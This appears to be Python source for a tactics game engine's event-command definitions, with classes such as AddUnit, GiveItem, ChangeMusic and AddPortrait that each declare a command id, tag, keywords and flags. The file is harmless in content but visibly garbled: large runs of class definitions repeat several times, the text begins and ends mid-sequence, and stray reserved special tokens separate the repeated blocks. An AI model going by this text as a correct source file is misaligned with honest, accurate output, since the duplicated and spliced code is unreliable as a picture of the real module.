desc = 'Removes all units other than the roaming unit'
keywords = []
class AddToInitiative(EventCommand):
nid = 'add_to_initiative'
tag = Tags.MISCELLANEOUS
desc = (
'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'
)
keywords = ['Unit', 'Integer']
class MoveInInitiative(EventCommand):
nid = 'move_in_initiative'
tag = Tags.MISCELLANEOUS
desc = 'Moves the initiative of the specified unit.'
keywords = ['Unit', 'Integer']
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class RemoveAllUnits(EventCommand):
nid = 'remove_all_units'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class RemoveAllEnemies(EventCommand):
nid = 'remove_all_enemies'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class InteractUnit(EventCommand):
nid = 'interact_unit'
nickname = 'interact'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit', 'Unit']
optional_keywords = ['CombatScript', 'Ability']
class SetCurrentHP(EventCommand):
nid = 'set_current_hp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit', 'PositiveInteger']
class SetCurrentMana(EventCommand):
nid = 'set_current_mana'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit', 'PositiveInteger']
class Resurrect(EventCommand):
nid = 'resurrect'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['GlobalUnit']
class Reset(EventCommand):
nid = 'reset'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class HasAttacked(EventCommand):
nid = 'has_attacked'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class HasTraded(EventCommand):
nid = 'has_traded'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class AddGroup(EventCommand):
nid = 'add_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group']
optional_keywords = ['StartingGroup', 'EntryType', 'Placement']
flags = ['create']
class SpawnGroup(EventCommand):
nid = 'spawn_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group', 'CardinalDirection', 'StartingGroup']
optional_keywords = ['EntryType', 'Placement']
flags = ['create', 'no_block', 'no_follow']
class MoveGroup(EventCommand):
nid = 'move_group'
nickname = 'morph_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group', 'StartingGroup']
optional_keywords = ['MovementType', 'Placement']
flags = ['no_block', 'no_follow']
class RemoveGroup(EventCommand):
nid = 'remove_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group']
optional_keywords = ['RemoveType']
class GiveItem(EventCommand):
nid = 'give_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Item']
flags = ['no_banner', 'no_choice', 'droppable']
class RemoveItem(EventCommand):
nid = 'remove_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Item']
flags = ['no_banner']
class GiveMoney(EventCommand):
nid = 'give_money'
tag = Tags.GAME_VARS
keywords = ['Integer']
optional_keywords = ['Party']
flags = ['no_banner']
class GiveBexp(EventCommand):
nid = 'give_bexp'
tag = Tags.GAME_VARS
keywords = ['Condition']
optional_keywords = ['Party', 'String']
flags = ['no_banner']
class GiveExp(EventCommand):
nid = 'give_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PositiveInteger']
class SetExp(EventCommand):
nid = 'set_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PositiveInteger']
class GiveWexp(EventCommand):
nid = 'give_wexp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'WeaponType', 'Integer']
flags = ['no_banner']
class GiveSkill(EventCommand):
nid = 'give_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class RemoveSkill(EventCommand):
nid = 'remove_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class ChangeAI(EventCommand):
nid = 'change_ai'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'AI']
class ChangeTeam(EventCommand):
nid = 'change_team'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Team']
class ChangePortrait(EventCommand):
nid = 'change_portrait'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PortraitNid']
class ChangeStats(EventCommand):
nid = 'change_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class SetStats(EventCommand):
nid = 'set_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class AutolevelTo(EventCommand):
nid = 'autolevel_to'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'String']
flags = ['hidden']
class SetModeAutolevels(EventCommand):
nid = 'set_mode_autolevels'
tag = Tags.GAME_VARS
keywords = ['String']
flags = ['hidden']
class Promote(EventCommand):
nid = 'promote'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class ChangeClass(EventCommand):
nid = 'change_class'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class AddTag(EventCommand):
nid = 'add_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class RemoveTag(EventCommand):
nid = 'remove_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class AddTalk(EventCommand):
nid = 'add_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class RemoveTalk(EventCommand):
nid = 'remove_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class AddLore(EventCommand):
nid = 'add_lore'
nickname = 'unlock_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class RemoveLore(EventCommand):
nid = 'remove_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class AddBaseConvo(EventCommand):
nid = 'add_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IgnoreBaseConvo(EventCommand):
nid = 'ignore_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class RemoveBaseConvo(EventCommand):
nid = 'remove_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IncrementSupportPoints(EventCommand):
nid = 'increment_support_points'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']
class AddMarketItem(EventCommand):
nid = 'add_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class RemoveMarketItem(EventCommand):
nid = 'remove_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class AddRegion(EventCommand):
nid = 'add_region'
tag = Tags.REGION
keywords = ['Nid', 'Position', 'Size', 'RegionType']
optional_keywords = ['String']
flags = ['only_once']
class RegionCondition(EventCommand):
nid = 'region_condition'
tag = Tags.REGION
keywords = ['Nid', 'Condition']
class RemoveRegion(EventCommand):
nid = 'remove_region'
tag = Tags.REGION
keywords = ['Nid']
class ShowLayer(EventCommand):
nid = 'show_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class HideLayer(EventCommand):
nid = 'hide_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class AddWeather(EventCommand):
nid = 'add_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class RemoveWeather(EventCommand):
nid = 'remove_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class ChangeObjectiveSimple(EventCommand):
nid = 'change_objective_simple'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveWin(EventCommand):
nid = 'change_objective_win'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveLoss(EventCommand):
nid = 'change_objective_loss'
tag = Tags.LEVEL_VARS
keywords = ['String']
class SetPosition(EventCommand):
nid = 'set_position'
tag = Tags.MISCELLANEOUS
keywords = ['String']
class MapAnim(EventCommand):
nid = 'map_anim'
tag = Tags.TILEMAP
keywords = ['MapAnim', 'Position']
flags = ['no_block']
class ArrangeFormation(EventCommand):
nid = 'arrange_formation'
tag = Tags.MISCELLANEOUS
class Prep(EventCommand):
nid = 'prep'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Bool', 'Music']
class Base(EventCommand):
nid = 'base'
tag = Tags.MISCELLANEOUS
keywords = ['Panorama']
optional_keywords = ['Music']
class Shop(EventCommand):
nid = 'shop'
tag = Tags.MISCELLANEOUS
keywords = ['Unit', 'ItemList']
optional_keywords = ['ShopFlavor']
class Choice(EventCommand):
nid = 'choice'
tag = Tags.MISCELLANEOUS
keywords = ['Nid', 'String', 'StringList']
optional_keywords = ['Orientation']
class ChapterTitle(EventCommand):
nid = 'chapter_title'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Music', 'String']
class Alert(EventCommand):
nid = 'alert'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class VictoryScreen(EventCommand):
nid = 'victory_screen'
tag = Tags.MISCELLANEOUS
class RecordsScreen(EventCommand):
nid = 'records_screen'
tag = Tags.MISCELLANEOUS
class LocationCard(EventCommand):
nid = 'location_card'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class Credits(EventCommand):
nid = 'credits'
tag = Tags.DIALOGUE_TEXT
keywords = ['String', 'String']
flags = ['wait', 'center', 'no_split']
class Ending(EventCommand):
nid = 'ending'
tag = Tags.DIALOGUE_TEXT
keywords = ['Portrait', 'String', 'String']
class PopDialog(EventCommand):
nid = 'pop_dialog'
tag = Tags.DIALOGUE_TEXT
desc = """
Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.
Example:
```
ending;Coyote;Coyote, Man of Mystery;Too mysterious for words.
transition;Close
pop_dialog
transition;Open
```
"""
class Unlock(EventCommand):
nid = 'unlock'
tag = Tags.REGION
keywords = ['Unit']
class FindUnlock(EventCommand):
nid = 'find_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class SpendUnlock(EventCommand):
nid = 'spend_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class TriggerScript(EventCommand):
nid = 'trigger_script'
tag = Tags.MISCELLANEOUS
keywords = ['Event']
optional_keywords = ['GlobalUnit', 'GlobalUnit']
class ChangeRoaming(EventCommand):
nid = 'change_roaming'
tag = Tags.MISCELLANEOUS
desc = 'Turn free roam mode on or off'
keywords = ['Bool']
class ChangeRoamingUnit(EventCommand):
nid = 'change_roaming_unit'
tag = Tags.MISCELLANEOUS
desc = "Changes the level's current roaming unit."
keywords = ['Unit']
class CleanUpRoaming(EventCommand):
nid = 'clean_up_roaming'
tag = Tags.MISCELLANEOUS
desc = 'Removes all units other than the roaming unit'
keywords = []
class AddToInitiative(EventCommand):
nid = 'add_to_initiative'
tag = Tags.MISCELLANEOUS
desc = (
'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'
)
keywords = ['Unit', 'Integer']
class MoveInInitiative(EventCommand):
nid = 'move_in_initiative'
tag = Tags.MISCELLANEOUS
desc = 'Moves the initiative of the specified unit.'
keywords = ['Unit', 'Integer']
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class IncLevelVar(EventCommand):
nid = 'inc_level_var'
tag = Tags.LEVEL_VARS
keywords = ['Nid']
optional_keywords = ['Condition']
class WinGame(EventCommand):
nid = 'win_game'
tag = Tags.LEVEL_VARS
class LoseGame(EventCommand):
nid = 'lose_game'
tag = Tags.LEVEL_VARS
class ActivateTurnwheel(EventCommand):
nid = 'activate_turnwheel'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Bool']
class BattleSave(EventCommand):
nid = 'battle_save'
tag = Tags.MISCELLANEOUS
class ChangeTilemap(EventCommand):
nid = 'change_tilemap'
tag = Tags.TILEMAP
keywords = ['Tilemap']
optional_keywords = ['PositionOffset', 'Tilemap']
flags = ['reload']
class LoadUnit(EventCommand):
nid = 'load_unit'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['UniqueUnit']
optional_keywords = ['Team', 'AI']
class MakeGeneric(EventCommand):
nid = 'make_generic'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['String', 'Klass', 'String', 'Team']
optional_keywords = ['AI', 'Faction', 'String', 'ItemList']
class CreateUnit(EventCommand):
nid = 'create_unit'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit', 'String']
optional_keywords = ['String', 'Position', 'EntryType', 'Placement']
class AddUnit(EventCommand):
nid = 'add_unit'
nickname = 'add'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
optional_keywords = ['Position', 'EntryType', 'Placement']
class MoveUnit(EventCommand):
nid = 'move_unit'
nickname = 'move'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
optional_keywords = ['Position', 'MovementType', 'Placement']
flags = ['no_block', 'no_follow']
class RemoveUnit(EventCommand):
nid = 'remove_unit'
nickname = 'remove'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
optional_keywords = ['RemoveType']
class KillUnit(EventCommand):
nid = 'kill_unit'
nickname = 'kill'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
flags = ['immediate']
class RemoveAllUnits(EventCommand):
nid = 'remove_all_units'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class RemoveAllEnemies(EventCommand):
nid = 'remove_all_enemies'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
class InteractUnit(EventCommand):
nid = 'interact_unit'
nickname = 'interact'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit', 'Unit']
optional_keywords = ['CombatScript', 'Ability']
class SetCurrentHP(EventCommand):
nid = 'set_current_hp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit', 'PositiveInteger']
class SetCurrentMana(EventCommand):
nid = 'set_current_mana'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit', 'PositiveInteger']
class Resurrect(EventCommand):
nid = 'resurrect'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['GlobalUnit']
class Reset(EventCommand):
nid = 'reset'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class HasAttacked(EventCommand):
nid = 'has_attacked'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class HasTraded(EventCommand):
nid = 'has_traded'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['Unit']
class AddGroup(EventCommand):
nid = 'add_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group']
optional_keywords = ['StartingGroup', 'EntryType', 'Placement']
flags = ['create']
class SpawnGroup(EventCommand):
nid = 'spawn_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group', 'CardinalDirection', 'StartingGroup']
optional_keywords = ['EntryType', 'Placement']
flags = ['create', 'no_block', 'no_follow']
class MoveGroup(EventCommand):
nid = 'move_group'
nickname = 'morph_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group', 'StartingGroup']
optional_keywords = ['MovementType', 'Placement']
flags = ['no_block', 'no_follow']
class RemoveGroup(EventCommand):
nid = 'remove_group'
tag = Tags.UNIT_GROUPS
keywords = ['Group']
optional_keywords = ['RemoveType']
class GiveItem(EventCommand):
nid = 'give_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Item']
flags = ['no_banner', 'no_choice', 'droppable']
class RemoveItem(EventCommand):
nid = 'remove_item'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Item']
flags = ['no_banner']
class GiveMoney(EventCommand):
nid = 'give_money'
tag = Tags.GAME_VARS
keywords = ['Integer']
optional_keywords = ['Party']
flags = ['no_banner']
class GiveBexp(EventCommand):
nid = 'give_bexp'
tag = Tags.GAME_VARS
keywords = ['Condition']
optional_keywords = ['Party', 'String']
flags = ['no_banner']
class GiveExp(EventCommand):
nid = 'give_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PositiveInteger']
class SetExp(EventCommand):
nid = 'set_exp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PositiveInteger']
class GiveWexp(EventCommand):
nid = 'give_wexp'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'WeaponType', 'Integer']
flags = ['no_banner']
class GiveSkill(EventCommand):
nid = 'give_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class RemoveSkill(EventCommand):
nid = 'remove_skill'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Skill']
flags = ['no_banner']
class ChangeAI(EventCommand):
nid = 'change_ai'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'AI']
class ChangeTeam(EventCommand):
nid = 'change_team'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Team']
class ChangePortrait(EventCommand):
nid = 'change_portrait'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'PortraitNid']
class ChangeStats(EventCommand):
nid = 'change_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class SetStats(EventCommand):
nid = 'set_stats'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'StatList']
flags = ['immediate']
class AutolevelTo(EventCommand):
nid = 'autolevel_to'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'String']
flags = ['hidden']
class SetModeAutolevels(EventCommand):
nid = 'set_mode_autolevels'
tag = Tags.GAME_VARS
keywords = ['String']
flags = ['hidden']
class Promote(EventCommand):
nid = 'promote'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class ChangeClass(EventCommand):
nid = 'change_class'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit']
optional_keywords = ['Klass']
class AddTag(EventCommand):
nid = 'add_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class RemoveTag(EventCommand):
nid = 'remove_tag'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'Tag']
class AddTalk(EventCommand):
nid = 'add_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class RemoveTalk(EventCommand):
nid = 'remove_talk'
tag = Tags.LEVEL_VARS
keywords = ['Unit', 'Unit']
class AddLore(EventCommand):
nid = 'add_lore'
nickname = 'unlock_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class RemoveLore(EventCommand):
nid = 'remove_lore'
tag = Tags.GAME_VARS
keywords = ['Lore']
class AddBaseConvo(EventCommand):
nid = 'add_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IgnoreBaseConvo(EventCommand):
nid = 'ignore_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class RemoveBaseConvo(EventCommand):
nid = 'remove_base_convo'
tag = Tags.LEVEL_VARS
keywords = ['String']
class IncrementSupportPoints(EventCommand):
nid = 'increment_support_points'
tag = Tags.MODIFY_UNIT_PROPERTIES
keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']
class AddMarketItem(EventCommand):
nid = 'add_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class RemoveMarketItem(EventCommand):
nid = 'remove_market_item'
tag = Tags.GAME_VARS
keywords = ['Item']
class AddRegion(EventCommand):
nid = 'add_region'
tag = Tags.REGION
keywords = ['Nid', 'Position', 'Size', 'RegionType']
optional_keywords = ['String']
flags = ['only_once']
class RegionCondition(EventCommand):
nid = 'region_condition'
tag = Tags.REGION
keywords = ['Nid', 'Condition']
class RemoveRegion(EventCommand):
nid = 'remove_region'
tag = Tags.REGION
keywords = ['Nid']
class ShowLayer(EventCommand):
nid = 'show_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class HideLayer(EventCommand):
nid = 'hide_layer'
tag = Tags.TILEMAP
keywords = ['Layer']
optional_keywords = ['LayerTransition']
class AddWeather(EventCommand):
nid = 'add_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class RemoveWeather(EventCommand):
nid = 'remove_weather'
tag = Tags.TILEMAP
keywords = ['Weather']
class ChangeObjectiveSimple(EventCommand):
nid = 'change_objective_simple'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveWin(EventCommand):
nid = 'change_objective_win'
tag = Tags.LEVEL_VARS
keywords = ['String']
class ChangeObjectiveLoss(EventCommand):
nid = 'change_objective_loss'
tag = Tags.LEVEL_VARS
keywords = ['String']
class SetPosition(EventCommand):
nid = 'set_position'
tag = Tags.MISCELLANEOUS
keywords = ['String']
class MapAnim(EventCommand):
nid = 'map_anim'
tag = Tags.TILEMAP
keywords = ['MapAnim', 'Position']
flags = ['no_block']
class ArrangeFormation(EventCommand):
nid = 'arrange_formation'
tag = Tags.MISCELLANEOUS
class Prep(EventCommand):
nid = 'prep'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Bool', 'Music']
class Base(EventCommand):
nid = 'base'
tag = Tags.MISCELLANEOUS
keywords = ['Panorama']
optional_keywords = ['Music']
class Shop(EventCommand):
nid = 'shop'
tag = Tags.MISCELLANEOUS
keywords = ['Unit', 'ItemList']
optional_keywords = ['ShopFlavor']
class Choice(EventCommand):
nid = 'choice'
tag = Tags.MISCELLANEOUS
keywords = ['Nid', 'String', 'StringList']
optional_keywords = ['Orientation']
class ChapterTitle(EventCommand):
nid = 'chapter_title'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Music', 'String']
class Alert(EventCommand):
nid = 'alert'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class VictoryScreen(EventCommand):
nid = 'victory_screen'
tag = Tags.MISCELLANEOUS
class RecordsScreen(EventCommand):
nid = 'records_screen'
tag = Tags.MISCELLANEOUS
class LocationCard(EventCommand):
nid = 'location_card'
tag = Tags.DIALOGUE_TEXT
keywords = ['String']
class Credits(EventCommand):
nid = 'credits'
tag = Tags.DIALOGUE_TEXT
keywords = ['String', 'String']
flags = ['wait', 'center', 'no_split']
class Ending(EventCommand):
nid = 'ending'
tag = Tags.DIALOGUE_TEXT
keywords = ['Portrait', 'String', 'String']
class PopDialog(EventCommand):
nid = 'pop_dialog'
tag = Tags.DIALOGUE_TEXT
desc = """
Removes the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.
Example:
```
ending;Coyote;Coyote, Man of Mystery;Too mysterious for words.
transition;Close
pop_dialog
transition;Open
```
"""
class Unlock(EventCommand):
nid = 'unlock'
tag = Tags.REGION
keywords = ['Unit']
class FindUnlock(EventCommand):
nid = 'find_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class SpendUnlock(EventCommand):
nid = 'spend_unlock'
tag = Tags.HIDDEN
keywords = ['Unit']
class TriggerScript(EventCommand):
nid = 'trigger_script'
tag = Tags.MISCELLANEOUS
keywords = ['Event']
optional_keywords = ['GlobalUnit', 'GlobalUnit']
class ChangeRoaming(EventCommand):
nid = 'change_roaming'
tag = Tags.MISCELLANEOUS
desc = 'Turn free roam mode on or off'
keywords = ['Bool']
class ChangeRoamingUnit(EventCommand):
nid = 'change_roaming_unit'
tag = Tags.MISCELLANEOUS
desc = "Changes the level's current roaming unit."
keywords = ['Unit']
class CleanUpRoaming(EventCommand):
nid = 'clean_up_roaming'
tag = Tags.MISCELLANEOUS
desc = 'Removes all units other than the roaming unit'
keywords = []
class AddToInitiative(EventCommand):
nid = 'add_to_initiative'
tag = Tags.MISCELLANEOUS
desc = (
'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'
)
keywords = ['Unit', 'Integer']
class MoveInInitiative(EventCommand):
nid = 'move_in_initiative'
tag = Tags.MISCELLANEOUS
desc = 'Moves the initiative of the specified unit.'
keywords = ['Unit', 'Integer']
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
class Sound(EventCommand):
nid = 'sound'
tag = Tags.MUSIC_SOUND
desc = '\nPlays the _Sound_ once.\n '
keywords = ['Sound']
class ChangeMusic(EventCommand):
nid = 'change_music'
tag = Tags.MUSIC_SOUND
desc = """
Changes the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.
"""
keywords = ['PhaseMusic', 'Music']
class AddPortrait(EventCommand):
nid = 'add_portrait'
nickname = 'u'
tag = Tags.PORTRAIT
desc = """
Adds a portrait to the screen.
Extra flags:
1. _mirror_: Portrait will face opposite expected direction.
2. _low_priority_: Portrait will appear behind all other portraits on the screen.
3. _immediate_: Portrait will not fade in.
4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.
"""
keywords = ['Portrait', 'ScreenPosition']
optional_keywords = ['Slide', 'ExpressionList']
flags = ['mirror', 'low_priority', 'immediate', 'no_block']
class MultiAddPortrait(EventCommand):
nid = 'multi_add_portrait'
nickname = 'uu'
tag = Tags.PORTRAIT
desc = """
Adds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.
"""
keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']
optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait',
'ScreenPosition']
class RemovePortrait(EventCommand):
nid = 'remove_portrait'
nickname = 'r'
tag = Tags.PORTRAIT
keywords = ['Portrait']
flags = ['immediate', 'no_block']
class MultiRemovePortrait(EventCommand):
nid = 'multi_remove_portrait'
nickname = 'rr'
tag = Tags.PORTRAIT
keywords = ['Portrait', 'Portrait']
optional_keywords = ['Portrait', 'Portrait']
class MovePortrait(EventCommand):
nid = 'move_portrait'
tag = Tags.PORTRAIT
keywords = ['Portrait', 'ScreenPosition']
flags = ['immediate', 'no_block']
class BopPortrait(EventCommand):
nid = 'bop_portrait'
nickname = 'bop'
tag = Tags.PORTRAIT
keywords = ['Portrait']
flags = ['no_block']
class Expression(EventCommand):
nid = 'expression'
nickname = 'e'
tag = Tags.PORTRAIT
keywords = ['Portrait', 'ExpressionList']
class Speak(EventCommand):
nid = 'speak'
nickname = 's'
tag = Tags.DIALOGUE_TEXT
keywords = ['Speaker', 'Text']
optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']
flags = ['low_priority']
class Transition(EventCommand):
nid = 'transition'
nickname = 't'
tag = Tags.BG_FG
optional_keywords = ['Direction', 'Speed', 'Color3']
class Background(EventCommand):
nid = 'change_background'
nickname = 'b'
tag = Tags.BG_FG
optional_keywords = ['Panorama']
flags = ['keep_portraits']
class DispCursor(EventCommand):
nid = 'disp_cursor'
tag = Tags.CURSOR_CAMERA
keywords = ['Bool']
class MoveCursor(EventCommand):
nid = 'move_cursor'
nickname = 'set_cursor'
tag = Tags.CURSOR_CAMERA
keywords = ['Position']
flags = ['immediate']
class CenterCursor(EventCommand):
nid = 'center_cursor'
tag = Tags.CURSOR_CAMERA
keywords = ['Position']
flags = ['immediate']
class FlickerCursor(EventCommand):
nid = 'flicker_cursor'
nickname = 'highlight'
tag = Tags.CURSOR_CAMERA
keywords = ['Position']
flags = ['immediate']
class GameVar(EventCommand):
nid = 'game_var'
tag = Tags.GAME_VARS
keywords = ['Nid', 'Condition']
class IncGameVar(EventCommand):
nid = 'inc_game_var'
tag = Tags.GAME_VARS
keywords = ['Nid']
optional_keywords = ['Condition']
class LevelVar(EventCommand):
nid = 'level_var'
tag = Tags.LEVEL_VARS
keywords = ['Nid', 'Condition']
class IncLevelVar(EventCommand):
nid = 'inc_level_var'
tag = Tags.LEVEL_VARS
keywords = ['Nid']
optional_keywords = ['Condition']
class WinGame(EventCommand):
nid = 'win_game'
tag = Tags.LEVEL_VARS
class LoseGame(EventCommand):
nid = 'lose_game'
tag = Tags.LEVEL_VARS
class ActivateTurnwheel(EventCommand):
nid = 'activate_turnwheel'
tag = Tags.MISCELLANEOUS
optional_keywords = ['Bool']
class BattleSave(EventCommand):
nid = 'battle_save'
tag = Tags.MISCELLANEOUS
class ChangeTilemap(EventCommand):
nid = 'change_tilemap'
tag = Tags.TILEMAP
keywords = ['Tilemap']
optional_keywords = ['PositionOffset', 'Tilemap']
flags = ['reload']
class LoadUnit(EventCommand):
nid = 'load_unit'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['UniqueUnit']
optional_keywords = ['Team', 'AI']
class MakeGeneric(EventCommand):
nid = 'make_generic'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['String', 'Klass', 'String', 'Team']
optional_keywords = ['AI', 'Faction', 'String', 'ItemList']
class CreateUnit(EventCommand):
nid = 'create_unit'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit', 'String']
optional_keywords = ['String', 'Position', 'EntryType', 'Placement']
class AddUnit(EventCommand):
nid = 'add_unit'
nickname = 'add'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
optional_keywords = ['Position', 'EntryType', 'Placement']
class MoveUnit(EventCommand):
nid = 'move_unit'
nickname = 'move'
tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS
keywords = ['Unit']
